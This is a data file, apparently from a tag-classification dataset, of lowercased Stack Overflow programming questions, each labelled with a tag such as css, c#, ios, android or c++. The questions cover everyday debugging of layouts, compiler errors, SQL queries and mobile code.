border-box;     padding-left: 15px;     margin-top: 6px;     float: right;     height: 100%;     position: relative; }  ul {     display: inline-block;     list-style-type: none;     padding-left: 0px;     margin-top: 8px; } .linkbar img {     margin-top: 6px;     margin-right: 6px;     margin-bottom: 6px;     margin-left: 6px;     width: 135px;     border-radius: 10px;     height: 90px; }  #sidebarlinks {     position: relative;     left: 0px;     text-align: center;     display: block; } h1  h2 {     margin-top: 8px;     bottom: 0pt;     margin-bottom: 0px;     position: relative;     display: inline;     left: auto;     right: auto; } h2 {     font-size: 19px; } #footer {     position: absolute;     width: 750px;     background-color: #ff4246;     font-family: droid-sans;     font-style: normal;     font-weight: 400;     bottom: 0px;     display: block;     left: 0px; } .main p {     padding-left: 14px;     float: left;     clear: left;     display: block;     margin-top: 6px;     margin-bottom: 0px; } .blogpic {     position: relative;     display: inline-block;     float: left;     margin-top: 8px;     margin-right: auto;     margin-left: auto;     width: 600px;     margin-bottom: 0px; } .blogpic img {     min-height: 200px;     margin-top: 0px;     margin-right: 0px;     margin-bottom: 0px;     margin-left: 0px;     padding-left: 21px;     display: inline-block; } .blogtext {     display: inline-block;     clear: left;     float: left; } .blogtext ol {     padding-top: 5px;     padding-right: 0px;     padding-bottom: 0px;     padding-left: 50px;     clear: left;     font-size: small; } </code></pre>,html
cannot declare properties with different property type  <img src= https://i.stack.imgur.com/yiqdt.png  alt= http://imageshack.us/f/403/kasta6.png/ >     on the link i show you all my classes in my program    i have properties in my <code>customerframe</code> class like this:   <pre><code> public string firstname { get; set; }  public string lastname { get; set; }  public customerfiles.phone phone { get; set; }  public customerfiles.email email { get; set; }  public customerfiles.address addressinfo { get; set; }  public string city { get; set; }  public customerfiles.countries countryinfo { get; set; }  public string street { get; set; }  public string zipcode { get; set; } </code></pre>   but my problem is that when doing this i get error pointing to these 4 properties   <pre><code>public customerfiles.phone phone { get; set; } public customerfiles.email email { get; set; } public customerfiles.address addressinfo { get; set; } public customerfiles.countries countryinfo { get; set; } </code></pre>   the error is this   <blockquote>    inconsistent accessibility property type is less accessible than   property  </blockquote>   further down in class and i ll do the following:   <pre><code>        contact.firstname = tbfirstname.text;         firstname = contact.firstname;          contact.lastname = tblastname.text;         lastname = contact.lastname;          contact.phonedata = tbcellphone.text;         phone = contact.phonedata;          contact.emaildata = tbhomephone.text;         email = contact.emaildata;          //inside address class         address.city = tbcity.text;         city = address.city;          address.country = cbcountry.text;        countryinfo = address.country;          address.street = tbstreet.text;         street = address.street;          address.zipcode = tbzipcode.text;         zipcode = address.zipcode; </code></pre>   but why do i get problem with my properties  how can i solve this to make it work  thanks in advance,c#
python building function to generate all possible alignment between two sequence   i m working on ibm1 model for language process. it uses em algorithm. however  based on the pseudo code provided  i need to find all possible alignment given two sentences. for example: <code>a = [a b]  b = [c d]</code>. i need to given <code>[(a-&gt;c  b-&gt;d) (a-&gt;d  b-&gt;c)]</code>. (here <code>a-&gt;c</code>  means a aligns with c) it s easy when the sentence has only two words. but in general  when there are many words. what is the fastest way of python to generate all alignment     this is particularly hard because: it s not simply pairwise alignment.     for example:  <code>a =  the blue house . b =  le mansion bleu .</code>    the possible alignment :    <code> the-&gt;le  blue-&gt;mansion  house-&gt;bleu </code> could be one such alignment    <code> the-&gt;mansion  blue-&gt;le  house-&gt;bleu </code> is another one    and so on,python
why is it valid to pass address of member in temporary object   considering the following code.   <pre><code>struct myvariant {     variant var_;      myvariant(unsigned uval) {         variantinit(&amp;var_);         var_.ulval = uval;         var_.vt = vt_ui4;     };      ~myvariant() {         variantclear(&amp;var_);     }      variant* operator&amp;() {         return &amp;var_;     } };      hresult setvalue(variant* val) {     return s_ok; }   void foo() {     setvalue(&amp;myvariant(1u).var_);     // e0158    expression must be an lvalue or a function designator }  void bar() {     setvalue(&amp;myvariant(1u));     // fine } </code></pre>   there are many win32 api calls required <code>non-const variant*</code> as parameter type. so i meet this problem when i try to pass the <code>variant*</code> from my variant wrapper.    compiler complains the <code>foo()</code>  because i pass the address of data member of temporary object by <code>operator &amp;</code>  which is not a l-value.    but when i overrided the <code>myvariant::operator&amp;</code> to pass the internal member s address  the compiler does not complain this way in <code>bar()</code>.     what is the difference between   <pre><code>&amp;myvariant(1u).var_ </code></pre>   and   <pre><code>&amp;myvariant(1u) // same as myvariant::operator&amp; (&amp;myvariant(1u)) { return &amp;this-&gt;var_; } </code></pre>,c++
css box element positioning  here i have create one <code>div</code> box using css stlye.    fiddle: <a href= http://codepen.io/karimkhan/pen/bskeu  rel= nofollow >correct view</a>    but if the description is small then content misaligned as below:  <a href= http://codepen.io/karimkhan/pen/uecjj  rel= nofollow >misaligned box</a>    i tried changing the position and css values  but no luck.    can some one tell me how can i keep <code>footer</code> part on it s position even if the content is small.,css
how can we implement long running task in background in ios   recently i got requirement from my client that we need to process some execution in background. this execution may be for 10 min or 20 min long.     is there any way to achieve this  i know ios has listed few apps type &amp; only those can be run in background. but i checked &amp; my app is not fitting in that listed all apps type. so now i am doubtful in this.    any one has solution     thanks shyam,ios
how to access a namespace inside app code folder from another folder  i have a class file stored in the app code folder. a certain page that i want to access is inside its own folder within the root and it is using the namespace within the class file in the app code folder. how do i tell the application where the file is     i m sure i could put the code in a file inside my folder  but i d rather not have duplicate code in two different files... unless there is a way to make a reference of some type. please advise.,asp.net
undefined method `class_attribute  for actioncontroller::apirendering:module when using rails 5  i just upgraded to rails 5. i am getting error in an app which was developed using rails 4.2. i am getting the following error while running <code>rails c</code>.  what should i do     <blockquote>    /usr/local/rvm/gems/ruby-2.2.3/gems/actionview-5.0.0.beta1/lib/action_view/view_paths.rb:8:in <code>block in &lt;module:viewpaths&gt; : undefined method</code>class_attribute  for actioncontroller::apirendering:module (nomethoderror)  </blockquote>   thanks in advance.,ruby-on-rails
4 random function in specific interval time  i have 4 function and i want to execute them randomly every 1 second for unlimited time. this is my code to execute a random function:   <pre><code>-(void) game {     int rand = arc4random() % 5;      switch (rand) {         case 0:             [self appearred];             break;         case 1:             [self appearblue];             break;         case 2:             [self appearyellow];             break;         case 3:             [self appeargreen];             break; }     } </code></pre>   but how can i repeat this function every 1 second,ios
how to get selected item from action mode and expandable list view   i have an expandablelistview  and i want to enable action mode when the user long press and item. i have managed to make the action mode works  but the problems come when i am trying to know which item was selected. this is the code of my fragment  in the <code>onitemlongclick</code> function i try to select the element the user has long-pressed (i though the expandiblelistview would do this by itself)  and then in the <code>actionmode.callback</code> i try to get the selected element  but i always get a null. where is the problem  how should i do this to make it work     thanks in advance!   <pre><code>public class overviewfragment extends fragment{     private expandablelistview listviewtimeslips;     private actionmode mactionmode;     private actionmode.callback mactionmodecallback = new actionmode.callback(){         @override         public boolean onactionitemclicked(actionmode mode  menuitem item) {             switch (item.getitemid()) {             case r.id.action_edit:                 //here i get a null                 timeslip timeslip = (timeslip)listviewtimeslips.getselecteditem();                 mode.finish(); // action picked  so close the cab                 return true;             case r.id.action_remove:                mode.finish(); // action picked  so close the cab                return true;            default:                return false;        }       //more code     };    }   @override   public view oncreateview(layoutinflater inflater  viewgroup container  bundle savedinstancestate) {     listviewtimeslips.setonitemlongclicklistener(new onitemlongclicklistener(){         @override         public boolean onitemlongclick(adapterview&lt; &gt; parent  view view  int position  long id) {             if(mactionmode!=null){                 return false;             }             if (expandablelistview.getpackedpositiontype(id) == expandablelistview.packed_position_type_child) {                 int groupposition = expandablelistview.getpackedpositiongroup(id);                 int childposition = expandablelistview.getpackedpositionchild(id);                  ((expandablelistview)parent).setselectedchild(groupposition  childposition  true);             }             mactionmode = ((actionbaractivity)getactivity()).startsupportactionmode(mactionmodecallback);             view.setselected(true);         }      }); </code></pre>,android
how to correctly call this functions within a namespace  c++  my code:   <pre><code>#include &lt;iostream&gt; using std::cout;  namespace programcall {    class class1   {     public: int sum(int a  int b)     {       return a + b;     }      public: float sum(int a  float b)     {         return a + b;     }   };    class class2 : class1   {     public:       int sum(int a  int b  int c)       {         return a + b + c;       }   };  } int main() {   int res = programcall::class1.sum(1 2);   cout &lt;&lt; res; } </code></pre>   the error message i get:    <pre><code>exit status 1 main.cpp: in function  int main() : main.cpp:31:32: error: expected primary-expression before  .  token    int res = programcall::class1.sum(1 2); </code></pre>   how can i solve this  i mean  how should i call these functions within classes within namespaces  i m a beginner in c++(but good on c)  any tips are appreciated.,c++
"strange border-radius behaviour in safari  using css i m trying to create a curved overlay that will sit within an element and appear on top of its contents.    i ve managed to achieve what i want by setting <code>border-width</code> and <code>border-radius</code> to apply to the bottom left corner. this works fine in chrome and firefox but has a strange result in safari.    what can i do to make it appear correctly in safari    <h2>screenshots</h2>   <strong>chrome (correct):</strong>    <a href= https://i.stack.imgur.com/wt2cf.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/wt2cf.png  alt= appearance in chrome ></a>    <strong>safari (incorrect):</strong>    <a href= https://i.stack.imgur.com/qgnn7.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qgnn7.png  alt= appearance in safari ></a>   <h2>minimal example</h2>   <div class= snippet  data-lang= js  data-hide= false  data-console= false  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#container {
   width: 300px;
   height: 300px;
   display: block;
   border: 1px solid black;
   background-color: grey;
   overflow: hidden;
 }
 
 #overlay {
   border-color: blue;
   border-radius: 0 0 0 100%;
   border-style: solid;
   border-width: 0 0 200px 200px;
   display: block;
   height: 100%;
   margin-left: -200px;
   position: relative;
   width: 100%;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= container &gt;
   &lt;div id= overlay &gt;&lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
in sql database how to use one column with different condition values pair with another column with different conditions values   my database design is like image shows:    <img src= https://i.stack.imgur.com/1amqa.png  alt= enter image description here >    the data table is design for a survey s all respondent s answers. the query i need is  for example      i want to know all rid(respondent id) that has conditions of qid = 2 and answers = 26-35  and qid = 4 and answers =  ashfield . but the sql query below:   <pre><code>select * from respondentanswers where (qid = 2 and answers =  26-35 ) and (qid = 4 and answers =  ashfield ) </code></pre>   was obvious not correct.     in short  i want to know those respondents who is age from  26-35  and living in  ashfield .    my database structure was showed in the image above. any one has solution please  thank you!,mysql
error in template declaration  i am getting  error: cannot declare pointer to  void  member  for below code.   <pre><code> template  &lt;class t&gt;     dtrequestid notify(t* pobject  void (t::*callback)(status*)); </code></pre>   can somebody please help,c++
order by clause in rownumber function slowing down the performance of my query  i have a query which has a paging functionality and for which i m using row_number() function. the order by clause in my rownumber function is dynamic and gets changed all the time when ever the sp is called. it works fine for few columns but for one column which is of datetime datatype  it takes lot of time. amazing thing is with when i sort by the same column in descending order  the query runs in a sec but ascending order takes lot of time :(.    i tried creating a non clustered index(as i already i have a clustered index on that table) on that datetime column but it did not help me.    could you please suggest what i can do to improve the performance.    thanks     deepti,sql
iphone: does http supports asynchronous method   i am developing an application for ios 4.x devices. i am implementing a communication module  where-in program sends file(some times multiple files at a time) to the server periodically. i am implementing code using the following function. i would like to know  does apple s http code like below supports  asynchronous  method (or) should i have to use some third party api s like  asihttprequest  to support asynchronous call in my function. please advise.   <pre><code>-(void) httpupload : (uiimage *) image :(nsstring *) filenamestr </code></pre>   {   <pre><code>nsdata *imagedata = uiimagejpegrepresentation (image  90); nsstring *urlstring = @ http://iphone.zcentric.com/test-upload.php ;  nsmutableurlrequest *request = [[[nsmutableurlrequest alloc] init] autorelease]; [request seturl:[nsurl urlwithstring:urlstring]]; [request sethttpmethod:@ post ];  // header now.. nsstring *boundary = [nsstring stringwithstring:@ ---------------------------14737809831466499882746641449 ]; nsstring *contenttype = [nsstring stringwithformat:@ multipart/form-data; boundary=%@  boundary]; [request addvalue:contenttype forhttpheaderfield: @ content-type ];  // create body of the post.. nsmutabledata *body = [nsmutabledata data]; [body appenddata:[[nsstring stringwithformat:@ \r\n--%@\r\n  boundary] datausingencoding:nsutf8stringencoding]];  [body appenddata:[[nsstring stringwithformat:@ content-disposition: form-data; name=\ userfile\ ; filename=\ %@.jpg\ \r\n   filenamestr] datausingencoding:nsutf8stringencoding]]; [body appenddata:[[nsstring stringwithstring:@ content-type: application/octet-stream\r\n\r\n ] datausingencoding:nsutf8stringencoding]]; [body appenddata:[nsdata datawithdata:imagedata]]; [body appenddata:[[nsstring stringwithformat:@ \r\n--%@--\r\n  boundary] datausingencoding:nsutf8stringencoding]];  [request sethttpbody:body];  // lets make the connection to the web nsdata *returndata = [nsurlconnection sendsynchronousrequest:request returningresponse:nil error:nil]; nsstring *responsestring = [[nsstring alloc] initwithdata:returndata encoding:nsutf8stringencoding];  nslog(responsestring); </code></pre>   }    thank you!,iphone
does not change css file in rails project  i have rails application.    problem: file app/stylesheets/application.css doesn t changes in output html. application.css   <pre><code>body {   font-family: micfont;   background-color: lightgrey;   min-width: 1200px;   padding: 10px;   padding-bottom: 100px;   background-image: url(header.jpg); } </code></pre>   app/views/layouts/index.html.haml   <pre><code>%html   %head     %title skydance       = stylesheet_link_tag     application   :media =&gt;  all        = javascript_include_tag  application        = stylesheet_link_tag     bootstrap_and_overrides   :media =&gt;  all        = csrf_meta_tags   %body     .navbar-wrapper.navbar-margin-top       .container         .navbar.navbar-opacity-white           .navbar-inner             %a.btn.btn-navbar{  data-target  =&gt;  .nav-collapse    data-toggle  =&gt;  collapse  }           .nav-collapse.collapse             %ul.nav               %li                 %a{ :href =&gt; about_welcome_index_path }= t( .about_us )               %li                 %a{ :href =&gt; schedule_path }= t( .schedule_and_prices )               %li                 %a{ :href =&gt; genres_path }= t( .dances )               %li                 %a{ :href =&gt; teachers_path }= t( .teachers )               %li                 %a{ :href =&gt; contacts_welcome_index_path }= t( .contacts )   .row-fluid       .container.content       = yield    = render  layouts/footer  </code></pre>,ruby-on-rails
make a diff between two tables  i have two tables in javascript and i have to make a function that will take two input arrays and make a diff and order. i want in the output :   <ul> <li>the different properties between tab1 and tab2</li> <li>properties and more on tab1 tab2 over</li> <li>properties and less on tab1 tab2 over</li> </ul>   my table like [ key  value ]   <pre><code>var tab1= []; for (var i = 1; i &lt;= 10; i++) {   data.push({     key: i      value:  valeur +i   }); } var tab2= []; for (var i = 1; i &lt;= 15; i++){   data.push({     key: i      value: valeur +i   }); } </code></pre>   i do this but i don t have the good result:   <pre><code>for (var aa = 0; aa &lt; tab1.length; aa++) {                     var find = false;                     for (var bb = 0; bb &lt; tab2.length; bb++) {                         if (tab2[bb].name == $scope.properties.key_value_properties[aa].name) {                             if (propertiescible.key_value_properties[bb].value == tab1[aa].value) {                                 find = true;                                 break;                             }                          }                     }                     if (find == false) {                         finaltab.push({name:tab1[aa].name  valueref: tab1[aa].value  valuecible: tab1[aa].value});                     }                     finaltabdiff.push({name: tab1[aa].name  valueref: tab1[aa].value  valuecible: tab2[aa].value});                  } </code></pre>   thx.,javascript
set 2nd line of text to tab like 1st  i am trying to format some <code>html</code> and write it (by hand in notepad++) which is no easy feat for me.  i have my syntax close to what it needs to be  but when the text (mainly the aaaa line) carries over to a secondary line it looses the <code>padding</code> that was added.  also  i think it is the <code>&lt;p&gt;</code> div tag that is causing it to add a space between the header and the sub-data.   this is my <code>html</code> and attached is a screenshot of what i want it to look like.   <pre><code>&lt;p&gt;this would be acceptable:&lt;br&gt; &lt;p style= text-indent: 5em; &gt;&lt;strong&gt;bookbag&lt;/strong&gt;&lt;/p&gt; &lt;p style= text-indent: 5em; &gt;fill it full of your favorite items!&lt;/p&gt; &lt;p style= text-indent: 5em; &gt;&lt;strong&gt;extra clothes&lt;/strong&gt;&lt;/p&gt; &lt;p style= text-indent: 5em; &gt;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&lt;/p&gt; </code></pre>   <a href= https://i.stack.imgur.com/mhpra.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/mhpra.png  alt= enter image description here ></a>,html
android find entered text language in edittext   after entering data in edittext how do we know the data which is in english or chinese or other language.thanks in advance.    note : edittext should allow multiple language. we don t restrict the user to enter data in default language,android
how to create a gdataxmldocument with gdataxml parser  i need to parse an xml file using gdataxml  as long as i have also to rewrite it.  the problem i met is not about how to do this  there are tons of tutorials and i think i got the procedure. basically there s some line of code i can t make it work:   <pre><code>+(arrayitems *)loadxml{   nslog(@ start );  nsstring *filepath=[arrayitemsparser datafilepath]; if (filepath!=nil) nslog(@ filepath created: %@  filepath);  nsdata *xmldata=[nsmutabledata datawithcontentsoffile:filepath]; if(xmldata!=nil) nslog(@ xmldata created );  nserror *error; gdataxmldocument *docxml=[[gdataxmldocument alloc] initwithdata:xmldata error:&amp;error]; if(docxml!=nil) nslog(@ done );  nslog(@ end );     </code></pre>   this is the beginning of a static method i use to load the informations i need from the xml file into the class models i created. basically when i run the project to check what it s not working  it s gonna print only  start  on the console. but if i remove from code the lines   <pre><code>nserror *error; gdataxmldocument *docxml=[[gdataxmldocument alloc] initwithdata:xmldata error:&amp;error]; if(docxml!=nil) nslog(@ done ); </code></pre>   and run again the project  this time it s gonna print on console     2012-09-27 11:39:46.617 parsingmap2[11388:207] start    2012-09-27 11:39:46.619 parsingmap2[11388:207] filepath created: /users/ivanmelis/library/application support/iphone simulator/5.0/applications/cd93660c- 46fb-4118-9a8d-0574433f6bab/parsingmap2.app/confmap.xml    2012-09-27 11:39:46.619 parsingmap2[11388:207] xmldata created    2012-09-27 11:39:46.619 parsingmap2[11388:207] end    so i suppose the problem is in the lines   <pre><code>nserror *error; gdataxmldocument *docxml=[[gdataxmldocument alloc] initwithdata:xmldata error:&amp;error]; if(docxml!=nil) nslog(@ done ); </code></pre>   as i mentioned i read some tutorials and the gdataxml parser s documentation  but i couldn t solve the problem...or at least i can t see how to fix it. it seems that s the right way to do create an gdatatxmldocument. does anyone can give me an advice,ios
how to perform addition operation for a column in a loop in rails  i am having 2 models where <strong>user has_many invoice_details</strong> and <strong>invoicedetail belongs_to user</strong>.  now  i am having a condition where we have to perform addition for a column named total_amount which is in a loop.   <pre><code>&lt;% if @user.invoice_details.nil   %&gt;             na           &lt;% else %&gt; &lt;% @user.invoice_details.each do |mg| %&gt; &lt;%= mg.total_amount %&gt; &lt;% end %&gt; &lt;%end%&gt;   </code></pre>   it is displaying amounts <em>222 333</em>  i want to display the value as <strong>555</strong> (222 + 333),ruby-on-rails
issue with closing panel  i got a asp.net page  that hold dgv on the top   and panel with collapsiblepanelextender  in this panel i hold textbox  button etc ..when one of my function there (update/delete/insert) is finish  i want that the panel will close automatically. i got function in javascript:   <pre><code>  function hidepanel() {         $get( &lt;%= panel1.clientid%&gt; ).style.display =  none ;         return false;     } </code></pre>   i try to use it with:   <pre><code>scriptmanager.registerstartupscript(this  typeof(string)   hide    hidepanel();   true); </code></pre>   its close the upper side of the page that hold dgv  instead of closing the panel  any suggestion why is not working,asp.net
how could i align my label and textbox to the center  css  i currently have the following form    <a href= https://i.stack.imgur.com/bo3xk.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/bo3xk.png  alt= enter image description here ></a>    with the following css:    <pre><code>#myform form {   background-color: #e0e0e0;   text-align: center; } #myform label {   display: inline-block;   text-align: right;   clear: left;   width: 150px;   text-align: right;  } #myform input {   display: inline-block;   text-align: center; } #myform select {   display: inline-block;   text-align: center; } </code></pre>   the html div sample:    <pre><code>&lt;div id =  myform &gt;         &lt;form&gt;             &lt;p&gt; &lt;label for= username &gt;username: &lt;/label&gt;                 &lt;input type= text  id= username  name= username  size=20 /&gt;&lt;/p&gt;             &lt;/p&gt;         &lt;/form&gt; </code></pre>   how could i center my label and text boxes because it looks a bit off center. additionally how could i make it so that the grey background is a box that is centered instead of taking the whole width of the screen.,css
why is the first rowspan not working  <pre><code> &lt;html&gt;   &lt;head&gt;     &lt;meta charset =  utf-8 &gt;     &lt;title&gt;table&lt;/title&gt;   &lt;/head&gt;   &lt;body&gt;     &lt;table border =  1 &gt;         &lt;thead&gt;             &lt;tr&gt;                 &lt;th rowspan =  6 &gt;home ticket options&lt;/th&gt;                 &lt;th&gt;zone&lt;/th&gt;                 &lt;th&gt;price&lt;/th&gt;             &lt;/tr&gt;         &lt;/thead&gt;         &lt;tbody&gt;             &lt;tr&gt;                 &lt;td&gt;red&lt;/td&gt;                 &lt;td&gt;$101.00&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;blue&lt;/td&gt;                 &lt;td rowspan =  2 &gt;25.50&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;green&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;yellow&lt;/td&gt;                 &lt;td rowspan =  2 &gt;$9.00&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;orange&lt;/td&gt;             &lt;/tr&gt;         &lt;/tbody&gt;     &lt;/table&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   the last 2 rowspans are stretching down 2 rows as they should  but the first rowspan is not stretching down 6 rows.  any ideas on what i did wrong <br> please help.,html
fgetc loop returning wrong result  i m using fgetc and a character-counting method to loop through a file of characters and return them in reverse order. two unexpected things happen when i try and do so. when i paste a second iteration of the loop below the first it returns a very different  wacky result. as well  the first loop returns the correct result except for an additional character at the start.    for example  if the file contains the string  hello  the first iteration will return <code>5olleh</code> and the second <code>hehehehehehehehehehehehehehe</code>. the correct result would be <code>olleh</code> for both loops.    here is the code:   <pre><code>file *file = fopen( argv[1]   r  );     count = count_characters(file); int originalcount = count;  while(count){  ch = fgetc(file); printf( %c   ch); fseek(file  -2l  1);   // shifts the pointer to the previous character count--;  }  count = originalcount;  while(count){  ch = fgetc(file); printf( %c   ch); fseek(file  -2l  1);   // shifts the pointer to the previous character count--;  } </code></pre>,c
is there a public api for getting the fancier rounded corners in modern ios   starting with ios 7  apple have been using nicer rounded corners in visual elements such as icons. in ios 11  these rounded corners are abundant in system ui elements  such as control center and many other places.    <a href= https://i.stack.imgur.com/kri4l.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/kri4l.jpg  alt= enter image description here ></a>    the cornerradius apis on eg calayer etc are more basic.    is there some api which gives you the nice new roundedness     see for example this question: <a href= https://stackoverflow.com/questions/18389114/draw-ios-7-style-squircle-programatically >draw ios 7-style squircle programatically</a>    also see how the answers to the question are not good; a few years onwards  is there an apple api which gives you this type of corner curve,ios
objective c array length from string size  i am rookie to programming. so pardon my ignorance. i am learning objective c.     i am using below syntax for initializing an array. but i don t see it being initialized. what mistake am i making  help of any sort is appreciated.    <pre><code>-(nsstring *) reversestring: (nsstring *) reversethis {  int len = [reversethis length]; const char * c1 = [reversethis utf8string];  char *c2[len]; // this is the array i am trying to initialize. int count; for(int i=length; i &gt; 0; i--) {   c2[count] = c1[i];   count++; }  return [nsstring stringwithformat:@ %s   c2];     } </code></pre>,objective-c
determine if the object is a parameter of system.out.print/println methods  in my class <code>sampleclass</code>  i want it to perform such operation: when an instance of <code>sampleclass</code> is included as a parameter of the <code>system.out.print()</code> or <code>system.out.println()</code> method  the object automatically calls its own <code>to_string()</code> method.   <pre><code>public class sampleclass{     private int count;     public sampleclass(){          // maybe do something here      }     private string to_string(){         return integer.tostring(count);     } } </code></pre>   so that when i do   <pre><code>sampleclass s = new sampleclass(); system.out.println(s); </code></pre>   can automatically print out the value of <code>s.count</code> field as a string  instead of having to do <code>system.out.println(s.to_string())</code>. thank you.,java
is it to possible to get data from png with fopen   is it to possible to get data from grayscale png with fopen and then convert it to integer numbers corresponding to grayscale    <pre><code>file *fr; int ch; fr = fopen(  file_name.png    rb  ); while ( (ch=fgetc(fr)) != eof )     printf(  %d   ch ); fclose( fr ); </code></pre>,c
how can i prevent screen recording using c#   i display a video in a media player after i decrypt it  and i want to make it save across and prevent print screen and screen recording by any program.,c#
background issue on phone(s5)  i just create page <a href= http://pmwebdev.co.uk  rel= nofollow noreferrer >pmwebdev.co.uk</a> and everything is fine on deskop  but when i used my phone to check  my background start jumping like crazy... even when i resize my web in deskop windows everything was fine... need help.    css code    <pre><code> * {     box-sizing: border-box;  }  body{     background-image: url( bg.png );     background-size: cover;     background-attachment: fixed; } @media only screen and (max-width: 800px) {     /* for mobile phones: */     [class*= col- ] {         width: 100%;     }     img      {margin-top: 20px;         margin:auto;         height: 100px;     }     h2{         font-size: 18px;     }     #welcome{         font-size: 30px;      }     #date{         font-size: 30px;         stroke-dasharray: 10 2;     }     svg{         height: 200px;     } circle{     stroke-width:10px; }   } </code></pre>,css
how to call method().method() in c# <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1119799/method-chaining-in-c-sharp >method-chaining in c#</a><br>   <a href= https://stackoverflow.com/questions/1622662/creating-api-that-is-fluent >creating api that is fluent</a>    </blockquote>     how can i do the below coding    <pre><code>class1 objclass1 = new class1().add(1).add(2).add(3)... </code></pre>   and so on..     how can i implement the <code>add()</code> method to call infinite time that will reflect on same object,c#
how can i create an object with a given prototype chain   i need a way to create an empty object whose prototype chain is provided as an array of objects:   <pre><code>var prototypes = [{one: 1}  {two: 2}  {three: 3}]; var created = create(prototypes); // prototype chain of created should be: // created --&gt; {one: 1} --&gt; {two: 2} --&gt; {three: 3} </code></pre>   how can i do this,javascript
convert from ifstream* to ifstream&  i want to covert from    <pre><code>ifstream* ifs1 = storemanager.getmultidatareaderstream(); </code></pre>   to    <pre><code>ifstream&amp; ifs1 </code></pre>   how will i achieve this,c++
typeerror: cannot set property  <value>  of null  i have the following function in my controller. i m hard coding the values before calling the service as you can see below. it throws <code>typeerror: cannot set property  mag_id  of null at r.$scope.subscribetomag</code> on the first line.     it s not even going up to the service call  all help is appreciated. if i don t instantiate the variable to null it throws a different error.   <pre><code>$scope.newsubscription=null;  $scope.subscribetomag = function(){     $scope.newsubscription.mag_id = 2;     $scope.newsubscription.user_id = 6;     $scope.newsubscription.status =  e ;     $scope.newsubscription.end_date =  2016-02-19           hobbyservice.subscribemag($scope.newsubscription)         .then(             function(response){                 $scope.subscriberesult=response;                 console.log($scope.subscriberesult);             }              function(err){                 console.log( error subscribing to the mag:    err);             }                          ); } </code></pre>,angularjs
difference between width: 50% and flex: 50% in a css flexbox   when its container has a display for flex  what is the difference between setting an element to be flex: 50% and width: 50%. the outcome appears to be the same:    <pre><code>ul {   display: flex;   flex-flow: row wrap; }  .table a {   flex: 50%;   background: grey; }  .table2 a {   width: 50%;   background: grey; }  &lt;ul class= table &gt;   &lt;a href= # &gt;ad ds fdsaf dsfa dsfj dsf dsfj lkdsjflkdsa jflkdsja lkfjdslkjfldska jlkfdsajlkdjslkajflkd sjalkfjdslkjdsalkjdlakjfldksjflkdsjflkdsjd fdsd&lt;/a&gt;   &lt;a href= # &gt;b&lt;/a&gt;   &lt;a href= # &gt;c&lt;/a&gt;   &lt;a href= # &gt;d&lt;/a&gt; &lt;/ul&gt;  &lt;ul class= table2 &gt;   &lt;a href= # &gt;ad ds fdsaf dsfa dsfj dsf dsfj lkdsjflkdsa jflkdsja lkfjdslkjfldska jlkfdsajlkdjslkajflkd sjalkfjdslkjdsalkjdlakjfldksjflkdsjflkdsjd fdsd&lt;/a&gt;   &lt;a href= # &gt;b&lt;/a&gt;   &lt;a href= # &gt;c&lt;/a&gt;   &lt;a href= # &gt;d&lt;/a&gt; &lt;/ul&gt; </code></pre>   <a href= http://codepen.io/anon/pen/kabof  rel= noreferrer >http://codepen.io/anon/pen/kabof</a>,css
arrays.aslist and addall  does someone could explain to me what is a diffrence     <pre><code>private list&lt;coin&gt; myccoins = new arraylist&lt;&gt;();  public purse(coin...coins) {     mycoins = arrays.aslist(coins);     mycoins.addall(arrays.aslist(coins)); } </code></pre>   between these mycoins     and why i cannot do so   <pre><code>myccoins.addall(coins); </code></pre>   and actually it would be interesting to know if i wrote this way   <pre><code>for (coin coin : coins) {         myccoins.add(coin); </code></pre>   how this way differs from those that i mentioned above     please help me  and explain it to me,java
uiscrollview does not respond to touches in iphone  i have a scroll view with images inside it and i m using touhesbegan  touchesmoved  and touchesended to tap on an image to enlarge it. but it does not seem that the scroll view is responding to touches at all.    i tried most of methods in similar questions but still does not work.    i have been working on that for long so please any help would be appreciate it. thanks,iphone
why isn t gravity.center_vertical centering view vertically   i m trying to make a <code>view</code> in the center (vertically) of its parent <code>view</code>  which is a <code>relativelayout</code>.    i tried <code>view.setgravity(gravity.vertical);</code>    but it doesn t work perfectly  the position of the view is slightly below the center. there must be something wrong with my codes  but i can t seem to spot the bug that is preventing the view from being at the center.   <pre><code>        ....          initarrayviews[a] = new relativelayout(context);         initarrayviews[a].setbackgroundresource(r.drawable.bg);         initarrayviews[a].setlayoutparams(screensize);          ininit.addview(initarrayviews[a]);           relativelayout theone = new relativelayout(context);          theone.setbackgroundresource(r.drawable.layer1);          theone.setlayoutparams(screensize);          initarrayviews[a].addview(theone);          theone.setgravity(gravity.center_vertical);          params = new linearlayout.layoutparams(this.getwidth()  this.getheight());           linearlayout x = new linearlayout(context);          x.setlayoutparams(params);          x.setbackgroundresource(r.drawable.roundr);          x.setorientation(linearlayout.vertical);          theone.addview(x); </code></pre>,android
